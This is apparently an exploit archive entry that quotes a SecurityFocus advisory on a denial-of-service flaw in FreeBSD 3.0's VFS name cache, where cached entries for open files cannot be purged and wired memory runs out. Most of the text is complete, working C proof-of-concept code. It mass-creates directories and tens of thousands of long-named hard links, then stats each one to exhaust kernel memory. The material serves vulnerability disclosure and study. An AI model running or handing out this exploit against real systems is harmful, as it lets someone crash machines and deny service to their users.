source: http://www.securityfocus.com/bid/653/info A vulnerability exists in FreeBSD's new VFS cache introduced in version 3.0 that allows a local and possibly remote user to force the kernel to consume large quantities of wired memory thus creating a denial of service condition. The new VFS cache has no way to purge entries from memory while the file is open, consuming wired memory and allowing for the denial of service (memory that cannot be swapped out). FreeBSD versions earlier than 3.0 are not vulnerable, nor is the original 4.4BSD-Lite code. #include <stdio.h> #include <unistd.h> #include <sys/stat.h> #define NFILE 64 #define NLINK 30000 #define NCHAR 245 int main() { char junk[NCHAR+1], dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1]; int i, j; struct stat sb; memset(junk, 'x', NCHAR); junk[NCHAR] = '\0'; for (i = 0; i < NFILE; i++) { printf("\r%02d/%05d...", i, 0), fflush(stdout); sprintf(dir, "%02d-%02d", i, 0); if (mkdir(dir, 0755) < 0) fprintf(stderr, "mkdir(%s) failed\n", dir), exit(1); sprintf(file1, "%s/%s%03d", dir, junk, 0); if (creat(file1, 0644) < 0) fprintf(stderr, "creat(%s) failed\n", file1), exit(1); if (stat(file1, &sb) < 0) fprintf(stderr, "stat(%s) failed\n", file1), exit(1); for (j = 1; j < NLINK; j++) { if ((j % 1000) == 0) { printf("\r%02d/%05d...", i, j), fflush(stdout); sprintf(dir, "%02d-%02d", i, j/1000); if (mkdir(dir, 0755) < 0) fprintf(stderr, "mkdir(%s) failed\n", dir), exit(1); } sprintf(file2, "%s/%s%03d", dir, junk, j%1000); if (link(file1, file2) < 0) fprintf(stderr, "link(%s,%s) failed\n", file1, file2), exit(1); if (stat(file2, &sb) < 0) fprintf(stderr, "stat(%s) failed\n", file2), exit(1); } } printf("\rfinished successfully\n"); }